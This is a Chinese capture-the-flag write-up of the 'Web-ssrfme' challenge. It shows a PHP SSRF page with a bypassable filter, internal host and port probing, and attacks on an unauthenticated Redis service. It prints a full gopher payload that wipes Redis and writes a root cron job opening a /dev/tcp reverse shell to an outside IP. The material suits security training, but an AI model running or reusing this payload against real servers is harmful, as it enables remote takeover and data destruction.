目录
前言:
案例:Web-ssrfme
一、redis未授权访问攻击
1.1 进入题目给出源码
1.2 测试ssrf
1.3 查看phpinfo发现主机
1.4 发现服务
1.5 攻击访问
1.6 FLAG
二、redis未授权写入任务计划
2.1 探测开放端口
2.2 导入任务计划
2.3 反弹shell成功
前言:
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
案例:Web-ssrfme
一、redis未授权访问攻击
1.1 进入题目给出源码
<?php
highlight_file(__file__);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
die('No, No, No!');
}
curl($url);
}
if(isset($_GET['info'])){
phpinfo();
}
?>
1.2 测试ssrf
但是源码过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议我们使用http协议进行内网主机存活探测。目前还不知道当前主机的内网ip,但是源码提供了一个查看phpinfo的功能。
1.3 查看phpinfo发现主机
然后我们便可以探测该网段上存活的主机了(可以用burp,但这里手动测试即可)
/search?url=http://172.17.0.1 # 无存活
/search?url=http://172.17.0.2 # 发现另一存活机器
/search?url=http://172.17.0.3 # 当前机器
172.17.0.1是一台apache服务器:
172.17.0.3中是我们自己的本机:
然后我们在172.17.0.2中发现了存活主机:
说明172.17.0.2是内网中存活的另一台主机,并且上面也运行着http服务。
1.4 发现服务
当前还不能找到攻下这台内网主机的突破口,我们可以使用ssrf扫描一下这个内网主机的端口,这里使用burpsuite:
我们用bp里面的intruder模块扫描
然后我们发现6379进行开放。
1.5 攻击访问
由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。但是我们尝试发现不能直接在/var/www/html目录下写文件,我们使用burp扫一下都有哪些目录,发现有个upload目录。
然后我们在环境中查看是否存在,发现确实存在这个目录:
我们可以使用我们的一个工具进行渗透,这个工具叫Gopherusr在github上面是开源的,他主要用到的是gopher协议。
gopher
协议是一种信息查找系统,他将Internet
上的文件组织成某种索引,方便用户从Internet
的一处带到另一处。在WWW
出现之前,Gopher
是Internet
上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70
端口。但在WWW
出现后,Gopher
失去了昔日的辉煌。现在它基本过时,人们很少再使用它。它只支持文本,不支持图像
我们现在最多看到使用这个协议的时候都是在去
ssrf
打redis shell
、读mysql
数据。
1.6 FLAG
二、redis未授权写入任务计划
未授权写入项目计划书项目地址
2.1 探测开放端口
可以手动探测也可以用万能的bp,打久了经常用的端口就那几个,6379开放。
2.2 导入任务计划
在根目录下面有一个利用工具,进去后可以看到一堆编码,而我们可以通过解码看这个任务计划在做什么:
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$75
*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/192.168.201.142/12345 0>&1'
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit
2.3 反弹shell成功
root用户的原因:因为在redis低版本中它没有降权,所以执行的时候使用是root。